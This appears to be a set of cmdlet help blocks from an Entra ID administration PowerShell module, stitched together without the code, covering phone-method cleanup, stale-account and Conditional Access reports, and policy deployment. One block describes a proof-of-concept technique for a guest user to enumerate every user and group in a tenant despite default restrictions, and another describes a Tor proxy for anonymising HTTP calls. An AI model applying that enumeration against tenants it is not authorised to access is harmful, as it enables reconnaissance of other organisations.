### Clean up phone authentication methods for all Entra ID users ###
 
<#
    Set the registered applications ClientID and ClientSecret further down. This script requires the following Microsoft Graph permissions:
    Delegated:
        UserAuthenticationMethod.ReadWrite.All
        Reports.Read.All
 
    It also requires the DCToolbox PowerShell module:
    Install-Module -Name DCToolbox -Force
 
    Note that this script cannot delete a users phone method if it is set as the default authentication method. Microsoft Graph cannot, as of 7/10 2021, manage the default authentication method for users in Entra ID. Hopefully the users method of choice was changed when he/she switched to the Microsoft Authenticator app or another MFA/passwordless authentication method. If not, ask them to change the default method before running the script.
 
    Use the following report to understand how many users are registered for phone authentication (can lag up to 48 hours): https://portal.azure.com/#blade/Microsoft_AAD_IAM/AuthenticationMethodsMenuBlade/AuthMethodsActivity

# README: This script is an example of what you might want to/need to do if your Entra ID has been breached. This script was created in the spirit of the zero trust assume breach methodology. The idea is that if you detect that attackers are already on the inside, then you must try to kick them out. This requires multiple steps and you also must handle other resources like your on-prem AD. However, this script example helps you in the right direction when it comes to Entra ID admin roles.

            Return an access token instead of a refresh token.

            OPTIONAL: Specify the client ID for which a refresh token should be requested. Defaults to 'Microsoft Azure PowerShell' (1950a258-227b-4e31-a9cf-717495945fc2). If you set this parameter, you must also specify -TenantID. Note that the app registration in Entra ID must have device code flow enabled under Authentication > Advanced settings.
 
        .PARAMETER TenantID
            OPTIONAL: Specify your tenant ID. You only need to specify this if you're specifying a ClientID with -ClientID. This is because Microsoft needs to now in which tenant a specific app is located.

            This CMDlet will run a query against Microsoft Graph and return the result. It will connect using an access token generated by Connect-DCMsGraphAsDelegated or Connect-DCMsGraphAsApplication (depending on what permissions you use in Graph).
 
            Before running this CMDlet, you first need to register a new application in your Entra ID according to this article:
            https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/
             
        .PARAMETER AccessToken
                An access token generated by Connect-DCMsGraphAsDelegated or Connect-DCMsGraphAsApplication (depending on what permissions you use in Graph).
 
        .PARAMETER GraphMethod
                The HTTP method for the Graph call, like GET, POST, PUT, PATCH, DELETE. Default is GET.
 
        .PARAMETER GraphUri
                The Microsoft Graph URI for the query. Example: https://graph.microsoft.com/v1.0/users/
 
        .PARAMETER GraphBody
                The request body of the Graph call. This is often used with methids like POST, PUT and PATCH. It is not used with GET.

        .SYNOPSIS
            Start a Tor network HTTP proxy for anonymous HTTP calls via PowerShell.
 
        .DESCRIPTION
            Start a Tor network HTTP proxy that can be used for anonymization of HTTP traffic in PowerShell. Requires proxy support in the PowerShell CMDlet you want to anonymise. Many of the tools included in DCToolbox supports this.
 
            Start the proxy:
            Start-DCTorHttpProxy
 
            The proxy will launch in a new PowerShell window that you can minimize.
             
            You can test it out (and find your currentn Tor IP address and location) with:
            Get-DCPublicIp -UseTorHttpProxy
 
            For other CMDlets, use the following proxy configuration:
            127.0.0.1:9150
 
            Note: This CMDlet expects the Tor browser to be installed under C:\Temp\Tor Browser. You can change the path with -TorBrowserPath.
 
            Download Tor browser:
            https://www.torproject.org/download/

function Get-DCEntraIDUsersAndGroupsAsGuest {
    <#
        .SYNOPSIS
            This script lets a guest user enumerate users and security groups/teams when 'Guest user access restrictions' in Entra ID is set to the default configuration.
         
        .DESCRIPTION
            This script is a proof of concept. Don't use it for bad things! It lets a guest user enumerate users and security groups/teams when 'Guest user access restrictions' in Entra ID is set to the default configuration. It works around the limitation that guest users must do explicit lookups for users and groups. It basically produces a list of all users and groups in the tenant, even though such actions are blocked for guests by default.
             
            If the target tenant allows guest users to sign in with Entra ID PowerShell, and the 'Guest user access restrictions' is set to one of these two settings:
            'Guest users have the same access as members (most inclusive)'
            'Guest users have limited access to properties and memberships of directory objects' [default]
 
            And not set to:
            'Guest user access is restricted to properties and memberships of their own directory objects (most restrictive)'
 
            ...then this script will query Entra ID for the group memberships of the specified -InterestingUsers that you already know the UPN of. It then perform nested queries until all users and groups have been found. It will stop after a maximum of 5 iterations to avoid throttling and infinite loops. "A friend of a friend of a friend..."
 
            Finally, the script will output one array with found users, and one array with found groups/teams. You can then export them to CSV or some other format of your choice. Export examples are outputed for your convenience.
         
        .PARAMETER TenantId
            The tenant ID of the target tenant where you are a guest. You can find all your guest tenant IDs here: https://portal.azure.com/#settings/directory
 
        .PARAMETER AccountId
            Your UPN in your home tenant (probably your email address, right?).
 
        .PARAMETER InterestingUsers
            One or more UPNs of users in the target tenant. These will serve as a starting point for the search, and one or two employees you know about is often sufficient to enumerate everything.
         
        .EXAMPLE
            Get-DCEntraIDUsersAndGroupsAsGuest -TenantId '00000000-0000-0000-0000-000000000000' -AccountId 'user@example.com' -InterestingUsers 'customer1@customer.com', 'customer2@customer.com'
 
        .INPUTS
            None
 
        .OUTPUTS
            One array with found users, and one array with found groups/teams.

function New-DCEntraIDStaleAccountReport {
    <#
        .SYNOPSIS
            Automatically generate an Excel report containing all stale Entra ID accounts.
 
        .DESCRIPTION
            Uses Microsoft Graph to fetch all Entra ID users who has not signed in for a specific number of days, and exports an Excel report. Some users might not have a last sign-in timestamp at all (maybe they didn't sign in or maybe they signed in a very long time ago), but they are still included in the report.
 
            Before running this CMDlet, you first need to register a new application in your Entra ID according to this article:
            https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/
 
            The following Microsoft Graph API permissions are required for this script to work:
                Directory.Read.All
                AuditLog.Read.All
             
            The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with:
            Install-Module ImportExcel -Force
             
            Also, the user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Global Reader, Security Admin, Security Reader, etc).
             
        .PARAMETER ClientID
            Client ID for the Entra ID application with Microsoft Graph permissions.
 
        .PARAMETER ClientSecret
            Client secret for the Entra ID application with Microsoft Graph permissions.
 
        .PARAMETER LastSeenDaysAgo
            Specify the number of days ago the account was last seen. Note that you can only see as long as your Entra ID sign-in logs reach (30 days by default).
 
        .PARAMETER OnlyMembers
            Only include member accounts (no guest accounts) in the report.
 
        .PARAMETER OnlyGuests
            Only include guest accounts (no member accounts) in the report.
 
        .PARAMETER IncludeMemberOf
            Add a column with all group/teams memberships.
 
        .INPUTS
            None
 
        .OUTPUTS
            Excel report with all stale Entra ID accounts.

## Introduction
 
This document outlines the configuration details for Entra ID Conditional Access (CA) policies within your organization. Conditional Access is a critical component of modern identity security, providing dynamic and automated access control decisions based on user, device, location, and session risk.
 
By leveraging Conditional Access, our goal is to enhance security posture while maintaining a seamless user experience. This design ensures that only trusted users and devices can access organizational resources under the right conditions, aligning with our compliance requirements and operational objectives.

    <#
        .SYNOPSIS
            Automatically deploy the latest version of the Conditional Access policy design baseline from https://danielchronlund.com.
 
        .DESCRIPTION
            This CMDlet downloads the latest version of the Conditional Access policy design baseline from https://danielchronlund.com/2020/11/26/azure-ad-conditional-access-policy-design-baseline-with-automatic-deployment-support/. It creates all necessary dependencies like exclusion groups, named locations, and terms of use, and then deploys all Conditional Access policies in the baseline.
 
            All Conditional Access policies created by this CMDlet will be set to report-only mode.
 
            The purpose of this tool is to quickly deploy the complete baseline as a PoC. You can then test, pilot, and deploy it going forward.
 
            You must be a Global Admin to run this command (because of the admin consent required) but no other preparations are required.
             
        .PARAMETER AddCustomPrefix
            Adds a custom prefix to all policy names.
 
        .PARAMETER ExcludeGroupDisplayName
            Set a custom name for the break glass exclude group. Default: 'Excluded from Conditional Access'. You can set this to an existing group if you already have one.
 
        .PARAMETER ServiceAccountGroupDisplayName
            Set a custom name for the service account group. Default: 'Conditional Access Service Accounts'. You can set this to an existing group if you already have one.
 
        .PARAMETER NamedLocationCorpNetwork
            Set a custom name for the corporate network named location. Default: 'Corporate Network'. You can set this to an existing named location if you already have one.
 
        .PARAMETER NamedLocationAllowedCountries
            Set a custom name for the allowed countries named location. Default: 'Allowed Countries'. You can set this to an existing named location if you already have one.
 
        .PARAMETER TermsOfUseName
            Set a custom name for the terms of use. Default: 'Terms of Use'. You can set this to an existing Terms of Use if you already have one.
 
        .PARAMETER SkipPolicies
            Specify one or more policy names in the baseline that you want to skip.
 
        .PARAMETER SkipReportOnlyMode
            All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use this parameter. WARNING: Use this parameter with caution since ALL POLICIES will go live for ALL USERS when you specify this.

    <#
        .SYNOPSIS
            Import Conditional Access policies from JSON.
 
        .DESCRIPTION
            This CMDlet uses Microsoft Graph to automatically create Conditional Access policies from a JSON file.
             
            The JSON file can be created from existing policies with Export-DCConditionalAccessPolicyDesign or manually by following the syntax described in the Microsoft Graph documentation:
            https://docs.microsoft.com/en-us/graph/api/resources/conditionalaccesspolicy?view=graph-rest-1.0
 
            All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use the -SkipReportOnlyMode override.
 
            WARNING: If you want to, you can also delete all existing policies when deploying your new ones with -DeleteAllExistingPolicies, Use this parameter with caution and always create a backup with Export-DCConditionalAccessPolicyDesign first!
 
            The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc).
 
            As a best practice you should always have an Entra ID security group with break glass accounts excluded from all Conditional Access policies.
             
        .PARAMETER FilePath
            The file path of the JSON file containing your Conditional Access policies.
 
        .PARAMETER SkipReportOnlyMode
            All Conditional Access policies created by this CMDlet will be set to report-only mode if you don't use this parameter.
 
        .PARAMETER DeleteAllExistingPolicies
            WARNING: If you want to, you can delete all existing policies when deploying your new ones with -DeleteAllExistingPolicies, Use this parameter with causon and allways create a backup with Export-DCConditionalAccessPolicyDesign first!!
 
        .PARAMETER AddCustomPrefix
            Adds a custom prefix to all policy names.
 
        .PARAMETER PrefixFilter
            Only import (and delete) the policies with this prefix in the JSON file. The filter is case sensitive.
             
        .INPUTS
            JSON file containing your Conditional Access policies.
 
        .OUTPUTS

    <#
        .SYNOPSIS
            Toggles Conditional Access policies between 'All users' and a specified pilot group.
 
        .DESCRIPTION
            This command helps you to quickly toggle you Conditional Access policies between a pilot and production. It does this by switching policies targeting a specified pilot group and 'All users'.
 
            It is common to use a dedicated Entra ID security group to target specific pilot users during a Conditional Access deployment project. When the pilot is completed you want to move away from that pilot group and target 'All users' in the organization instead (at least with your global baseline).
 
            You must filter the toggle with a prefix filter to only modify specific policies. Use a prefix like "GLOBAL -" or "PILOT -" for easy bulk management. This is a built-in safety measure.
             
        .PARAMETER PrefixFilter
            Only toggle the policies with this prefix. The filter is case sensitive.
 
        .PARAMETER PilotGroupName
            The name of your pilot group in Entra ID (must be a security group for users).
 
        .PARAMETER EnablePilot
            Modify all specified Conditional Access policies to target your pilot group.
 
        .PARAMETER EnableProduction
            Modify all specified Conditional Access policies to target 'All users'.

        .SYNOPSIS
            Simulates the Entra ID Conditional Access evaluation process of a specific scenario.
 
        .DESCRIPTION
            Uses Microsoft Graph to fetch all Entra ID Conditional Access policies. It then evaluates which policies that would have been applied if this was a real sign-in to Entra ID. Use the different parameters available to specify the conditions. Details are included under each parameter.
 
        .PARAMETER UserPrincipalName
            The UPN of the simulated Entra ID user signing in. Can also be set to 'All' for all users, or 'GuestsOrExternalUsers' to test external user sign-in scenarios. Example: 'user@example.com'. Default: 'All'.
 
        .PARAMETER JSONFile
            Only use this parameter if you want to analyze a local JSON file export of Conditional Access polices, instead of a live tenant. Point it to the local JSON file. Export JSON with Export-DCConditionalAccessPolicyDesign (or any other tool exporting Conditional Access policies from Microsoft Graph to JSON), like 'Entra Exporter'.
 
        .PARAMETER ApplicationDisplayName
            The display name of the application targeted by Conditional Access policies (same display name as in Entra ID Portal when creating Conditional Access policies). Example 1: 'Office 365'. Example 2: 'Microsoft Admin Portals'. Default: 'All'.
 
        .PARAMETER UserAction
            Under construction...
 
        .PARAMETER ClientApp
            The client app type used during sign-in. Possible values: 'browser', 'mobileAppsAndDesktopClients', 'exchangeActiveSync', 'easSupported', 'other'. Default: 'browser'
 
        .PARAMETER TrustedIPAddress
            Specify if the simulated sign-in comes from a trusted IP address (marked as trusted in Named Locations)? $true or $false? Don't specify the actual IP address. That is not really that important when simulating policy evaluation. Default: $false
 
        .PARAMETER Country
            The country code for the sign-in country of origin based on IP address geo data. By default, this script tries to resolve the IP address of the current PowerShell session.
 
        .PARAMETER Platform
            Specify the OS platform of the client signing in. Possible values: 'all', 'android', 'iOS', 'windows', 'windowsPhone', 'macOS', 'linux', 'spaceRocket'. Default: 'windows'
 
        .PARAMETER SignInRiskLevel
            Specify the Entra ID Protection sign-in risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none'
 
        .PARAMETER UserRiskLevel
            Specify the Entra ID Protection user risk level. Possible values: 'none', 'low', 'medium', 'high'. Default: 'none'
 
        .PARAMETER SummarizedOutput
            By default, this script returns PowerShell objects representing all applied Conditional Access policies only. This can be used for piping to other tools, etc. But sometimes you also want a simple answer of what would happen during the simulated policy evaluation. Specify this parameter to add a summarized and simplified output (outputs to 'Informational' stream with Write-Host).
 
        .PARAMETER VerbosePolicyEvaluation
            Include detailed verbose policy evaluation info. Use for troubleshooting and debugging.
 
        .PARAMETER IncludeNonMatchingPolicies
            Also, include all policies that did not match, and therefor was not applied. This can be useful to produce different kinds of Conditional Access reports.
             
        .INPUTS
            None
 
        .OUTPUTS
            Simulated Conditional Access evaluation results

    <#
        .SYNOPSIS
            Automatically generate an Excel report containing your current Conditional Access policy design.
 
        .DESCRIPTION
            Uses Microsoft Graph to fetch all Conditional Access policies and exports an Excel report, You can use the report as documentation, design document, or to get a nice overview of all your policies.
 
            The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with:
            Install-Module ImportExcel -Force
 
            The report is exported to Excel and will automatically open. In Excel, please do this:
            1. Select all cells.
            2. Click on "Wrap Text".
            3. Click on "Top Align".
 
            The report is now easier to read.
             
            The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc).
             
        .INPUTS
            None
 
        .OUTPUTS
            Excel report with all Conditional Access policies.

function New-DCConditionalAccessAssignmentReport {
    <#
        .SYNOPSIS
            Automatically generate an Excel report containing your current Conditional Access assignments.
 
        .DESCRIPTION
            Uses Microsoft Graph to fetch all Conditional Access policy assignments, both group- and user assignments (for now, it doesn't support role assignments). It exports them to Excel in a nicely formatted report for your filtering and analysing needs. If you include the -IncludeGroupMembers parameter, members of assigned groups will be included in the report as well (of course, this can produce very large reports if you have included large groups in your policy assignments).
 
            The purpose of the report is to give you an overview of how Conditional Access policies are currently applied in an Entra ID tenant, and which users are targeted by which policies.
 
            The report does not include information about the policies themselves. Use New-DCConditionalAccessPolicyDesignReport for that task.
 
            The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with:
            Install-Module ImportExcel -Force
 
            The report is exported to Excel and will automatically open. In Excel, please do this:
            1. Select all cells.
            2. Click on "Wrap Text".
            3. Click on "Top Align".
 
            The report is now easier to read.
 
            More information can be found here: https://danielchronlund.com/2020/10/20/export-your-conditional-access-policy-assignments-to-excel/
             
        .PARAMETER IncludeGroupMembers
            If you include the -IncludeGroupMembers parameter, members of assigned groups will be included in the report as well (of course, this can produce a very large report if you have included large groups in your policy assignments).
             
        .INPUTS
            None
